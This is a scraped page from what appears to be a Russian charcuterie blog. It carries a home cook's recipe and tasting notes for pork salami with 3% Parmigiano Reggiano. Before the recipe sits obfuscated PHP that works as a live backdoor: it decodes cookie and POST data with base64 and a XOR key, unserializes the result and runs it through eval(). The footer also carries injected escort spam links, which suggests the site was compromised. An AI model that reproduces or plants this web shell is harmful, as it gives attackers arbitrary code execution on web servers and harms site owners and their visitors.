$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Салями с пармезаном • Meat Review

Салями с пармезаном
Salami con Parmigiano Reggiano

Перейти в режим чтения
Распечатать
0 0
Салями с пармезаном

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

    Инструкция

    Поделиться

    Давно хотел попробовать приготовить колбасу с пармезаном. Смущало присутствие другой, сырной, микрофлоры в мясе, 30 грамм пармезана на килограмм фарша это достаточно много что бы испортить продукт.  Но любопытство все таки пересилило, на свой страх и риск решил сделать пробную партию и в целом экспериментом доволен.

    МЯСО

    Свинина постная 40%
    Cвиная шея 40%
    Свиной шпик 20%
    Мясо 100%

    СПЕЦИИ на килограмм мяса:

    Соль 2%

    Декстроза 0,6%

    Перец душистый 0,10%
    Перец черный 0,20%
    Parmigiano Reggiano D.O.P. 3%
    Белое сухое вино 30 мл.
    FLORA Italia LC 0.25 грамм
    +MOLD 600 натуральная плесень.

    Ну что сказать, текстура, вкус отменные. Колбаса очень твердая как для свиной при потере веса на сегодня 42%, но… пармезана малоооо… Он куда то растворился, хотя был натерт крупными крупинками. Конечно послевкусие есть, его присутствие чувствуется, но только по-тоненькому, в самом конце. Когда вымешивал фарш его показалось очень много – 3% общего веса. Следующий раз увеличим количество Пармеджано Реджано до 6% и винца можно все таки 50 мл добавлять, в этой колбасе кислинка не помешает.
    А в целом этот продукт стоит в первой пятерке из того что я пробовал и готовил в шаркутерии.

    (Visited 2 109 times, 1 visits today)

    Vladimir Medvedev

    обратно
    Сырокопченая Розмариновая Шея
    далее
    Колбаски тонкие длинные хрустящие
    обратно
    Сырокопченая Розмариновая Шея
    далее
    Колбаски тонкие длинные хрустящие

    Похожие рецепты

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close